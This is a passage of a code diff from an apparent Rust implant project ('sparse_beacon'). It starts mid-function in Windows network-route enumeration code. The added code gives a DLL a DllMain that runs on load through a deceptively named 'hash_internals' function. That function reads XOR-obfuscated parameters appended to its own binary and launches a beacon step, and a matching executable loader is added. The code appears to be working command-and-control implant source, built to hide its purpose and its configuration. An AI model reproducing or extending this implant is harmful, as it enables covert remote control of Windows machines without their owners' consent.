while !gateway.is_null() {
|
||||||
|
let ipaddr = (*(*gateway).Address.lpSockaddr).sa_data;
|
||||||
|
let family = (*(*gateway).Address.lpSockaddr).sa_family.0;
|
||||||
|
|
||||||
|
if family != 2 {
|
||||||
|
// AF_INET
|
||||||
|
gateway = (*gateway).Next;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let gateway_addr = Ipv4Addr::new(
|
||||||
|
ipaddr[2] as u8,
|
||||||
|
ipaddr[3] as u8,
|
||||||
|
ipaddr[4] as u8,
|
||||||
|
ipaddr[5] as u8,
|
||||||
|
);
|
||||||
|
|
||||||
|
let network = (Ipv4Addr::new(0, 0, 0, 0), 0);
|
||||||
|
|
||||||
|
let mut uni_address = (*current_address).FirstUnicastAddress;
|
||||||
|
|
||||||
|
while !uni_address.is_null() {
|
||||||
|
let ipaddr = (*(*uni_address).Address.lpSockaddr).sa_data;
|
||||||
|
let family = (*(*uni_address).Address.lpSockaddr).sa_family.0;
|
||||||
|
|
||||||
|
if family != 2 {
|
||||||
|
uni_address = (*uni_address).Next;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// indices 0 and 1 are used to store the port
|
||||||
|
// ...it's an interface... why does it have a port...
|
||||||
|
let ipaddr = Ipv4Addr::new(
|
||||||
|
ipaddr[2] as u8,
|
||||||
|
ipaddr[3] as u8,
|
||||||
|
ipaddr[4] as u8,
|
||||||
|
ipaddr[5] as u8,
|
||||||
|
);
|
||||||
|
|
||||||
|
let cidr = (*uni_address).OnLinkPrefixLength as u32;
|
||||||
|
|
||||||
|
let mask = (0xFFFFFFFFu32.overflowing_shr(32 - cidr))
|
||||||
|
.0
|
||||||
|
.overflowing_shl(32 - cidr)
|
||||||
|
.0;
|
||||||
|
|
||||||
|
if (mask & u32::from(gateway_addr)) != (mask & u32::from(ipaddr)) {
|
||||||
|
uni_address = (*uni_address).Next;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
routes.push(BeaconRoute {
|
||||||
|
network,
|
||||||
|
gateway: (gateway_addr, (*uni_address).OnLinkPrefixLength),
|
||||||
|
interface_index,
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
gateway = (*gateway).Next;
|
||||||
|
}
|
||||||
|
|
||||||
|
current_address = (*current_address).Next;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(BeaconNetworkingInfo { routes, interfaces })
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -1,8 +1,20 @@
|
|||||||
use windows::{
|
use std::io::SeekFrom;
|
||||||
Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*},
|
|
||||||
core::*,
|
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||||
|
use windows::Win32::{
|
||||||
|
Foundation::{FreeLibrary, HMODULE, MAX_PATH},
|
||||||
|
System::{
|
||||||
|
LibraryLoader::{
|
||||||
|
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
|
||||||
|
},
|
||||||
|
SystemServices::DLL_PROCESS_ATTACH,
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||||
|
|
||||||
|
mod adapter;
|
||||||
|
|
||||||
#[unsafe(no_mangle)]
|
#[unsafe(no_mangle)]
|
||||||
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
||||||
if dw_reason == DLL_PROCESS_ATTACH {
|
if dw_reason == DLL_PROCESS_ATTACH {
|
||||||
@ -19,10 +31,62 @@ pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn hash_internals() -> std::result::Result<(), std::io::Error> {
|
fn hash_internals() -> std::result::Result<(), std::io::Error> {
|
||||||
unsafe {
|
let curr_module = HMODULE(std::ptr::null_mut());
|
||||||
MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
|
let comp_hash = compute_hash as extern "C" fn() -> ();
|
||||||
|
|
||||||
|
if let Err(_) = unsafe {
|
||||||
|
GetModuleHandleExW(
|
||||||
|
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
|
||||||
|
windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _),
|
||||||
|
curr_module.0 as *mut _,
|
||||||
|
)
|
||||||
|
} {
|
||||||
|
return Err(std::io::Error::last_os_error());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let mut name = vec![0u8; MAX_PATH as usize];
|
||||||
|
let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize };
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
let _ = FreeLibrary(curr_module);
|
||||||
|
}
|
||||||
|
|
||||||
|
if name_len == 0 {
|
||||||
|
return Err(std::io::Error::last_os_error());
|
||||||
|
}
|
||||||
|
|
||||||
|
let rt = tokio::runtime::Builder::new_multi_thread()
|
||||||
|
.enable_all()
|
||||||
|
.build()?;
|
||||||
|
|
||||||
|
rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?;
|
||||||
|
|
||||||
|
// MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> {
|
||||||
|
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||||
|
.read(true)
|
||||||
|
.open(unsafe { std::str::from_utf8_unchecked(&name) })
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||||
|
|
||||||
|
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||||
|
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||||
|
binary_file.read_to_end(&mut parameters_buffer).await?;
|
||||||
|
|
||||||
|
for b in parameters_buffer.iter_mut() {
|
||||||
|
*b = *b ^ (XOR_KEY as u8);
|
||||||
|
}
|
||||||
|
|
||||||
|
let parameters: Parameters =
|
||||||
|
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||||
|
|
||||||
|
let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@ -1,144 +1,32 @@
|
|||||||
fn main() -> anyhow::Result<()> {
|
use std::io::SeekFrom;
|
||||||
let devs = pcap_sys::PcapDevIterator::new()?;
|
|
||||||
|
|
||||||
for dev in devs {
|
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||||
println!("{dev}");
|
|
||||||
|
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||||
|
|
||||||
|
mod adapter;
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> anyhow::Result<()> {
|
||||||
|
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||||
|
.read(true)
|
||||||
|
.open(std::env::current_exe()?)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||||
|
|
||||||
|
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||||
|
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||||
|
binary_file.read_to_end(&mut parameters_buffer).await?;
|
||||||
|
|
||||||
|
for b in parameters_buffer.iter_mut() {
|
||||||
|
*b = *b ^ (XOR_KEY as u8);
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe {
|
let parameters: Parameters =
|
||||||
use std::ffi::CStr;
|
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||||
|
|
||||||
use windows::Win32::{
|
_ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await?;
|
||||||
NetworkManagement::IpHelper::{
|
|
||||||
GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS, GetAdaptersAddresses,
|
|
||||||
IP_ADAPTER_ADDRESSES_LH,
|
|
||||||
},
|
|
||||||
Networking::WinSock::AF_INET,
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut size_pointer: u32 = 0;
|
|
||||||
|
|
||||||
let err = GetAdaptersAddresses(
|
|
||||||
2,
|
|
||||||
GET_ADAPTERS_ADDRESSES_FLAGS(0),
|
|
||||||
None,
|
|
||||||
None,
|
|
||||||
&mut size_pointer as *mut _,
|
|
||||||
);
|
|
||||||
|
|
||||||
let mut address_buffer = vec![0; size_pointer as usize];
|
|
||||||
|
|
||||||
let err2 = GetAdaptersAddresses(
|
|
||||||
2,
|
|
||||||
GAA_FLAG_INCLUDE_GATEWAYS,
|
|
||||||
None,
|
|
||||||
Some(address_buffer.as_mut_ptr() as *mut _),
|
|
||||||
&mut size_pointer as *mut _,
|
|
||||||
);
|
|
||||||
|
|
||||||
if err2 != 0 {
|
|
||||||
eprintln!("Error code received for second one: {err2}");
|
|
||||||
Err(std::io::Error::last_os_error())?;
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
|
|
||||||
|
|
||||||
fn pwstr_to_string(pwstr: *mut u16) -> String {
|
|
||||||
use std::ffi::OsString;
|
|
||||||
use std::os::windows::ffi::OsStringExt;
|
|
||||||
use std::slice;
|
|
||||||
|
|
||||||
if pwstr.is_null() {
|
|
||||||
return String::new();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Find the length of the null-terminated UTF-16 string
|
|
||||||
let mut len = 0;
|
|
||||||
unsafe {
|
|
||||||
while *pwstr.add(len) != 0 {
|
|
||||||
len += 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Convert UTF-16 slice to Rust String
|
|
||||||
let wide_slice = slice::from_raw_parts(pwstr, len);
|
|
||||||
OsString::from_wide(wide_slice)
|
|
||||||
.to_string_lossy()
|
|
||||||
.into_owned()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
while !current_address.is_null() {
|
|
||||||
println!("-----");
|
|
||||||
println!(
|
|
||||||
"Name: {:?} ({:?})",
|
|
||||||
CStr::from_ptr((*current_address).AdapterName.0 as *const _),
|
|
||||||
pwstr_to_string((*current_address).FriendlyName.0)
|
|
||||||
);
|
|
||||||
|
|
||||||
println!("Mtu: {:?}", (*current_address).Mtu);
|
|
||||||
println!(
|
|
||||||
"Physical address: {:X?}",
|
|
||||||
&(*current_address).PhysicalAddress
|
|
||||||
[..(*current_address).PhysicalAddressLength as usize]
|
|
||||||
);
|
|
||||||
|
|
||||||
println!("IP addresses:");
|
|
||||||
let mut unicast_address = (*current_address).FirstUnicastAddress;
|
|
||||||
|
|
||||||
while !unicast_address.is_null() {
|
|
||||||
let address = (*(*unicast_address).Address.lpSockaddr).sa_data;
|
|
||||||
|
|
||||||
println!(
|
|
||||||
"\tIP address: {}.{}.{}.{}/{}",
|
|
||||||
address[2] as u8,
|
|
||||||
address[3] as u8,
|
|
||||||
address[4] as u8,
|
|
||||||
address[5] as u8,
|
|
||||||
(*unicast_address).OnLinkPrefixLength
|
|
||||||
);
|
|
||||||
|
|
||||||
unicast_address = (*unicast_address).Next;
|
|
||||||
}
|
|
||||||
|
|
||||||
println!("Gateways:");
|
|
||||||
let mut gateway = (*current_address).FirstGatewayAddress;
|
|
||||||
|
|
||||||
while !gateway.is_null() {
|
|
||||||
let address = (*(*gateway).Address.lpSockaddr).sa_data;
|
|
||||||
|
|
||||||
println!(
|
|
||||||
"\tIP address: {}.{}.{}.{}",
|
|
||||||
address[2] as u8, address[3] as u8, address[4] as u8, address[5] as u8
|
|
||||||
);
|
|
||||||
|
|
||||||
gateway = (*gateway).Next;
|
|
||||||
}
|
|
||||||
|
|
||||||
println!("Routes:");
|
|
||||||
let mut route = (*current_address).FirstPrefix;
|
|
||||||
|
|
||||||
while !route.is_null() {
|
|
||||||
let address = (*(*route).Address.lpSockaddr).sa_data;
|
|
||||||
|
|
||||||
println!(
|
|
||||||
"\tRoute: {}.{}.{}.{}/{}",
|
|
||||||
address[2] as u8,
|
|
||||||
address[3] as u8,
|
|
||||||
address[4] as u8,
|
|
||||||
address[5] as u8,
|
|
||||||
(*route).PrefixLength
|
|
||||||
);
|
|
||||||
|
|
||||||
route = (*route).Next;
|
|
||||||
}
|
|
||||||
|
|
||||||
println!("\n");
|
|
||||||
|
|
||||||
current_address = (*current_address).Next;
|
|
||||||
}
|
|
||||||
|
|
||||||
drop(address_buffer);
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user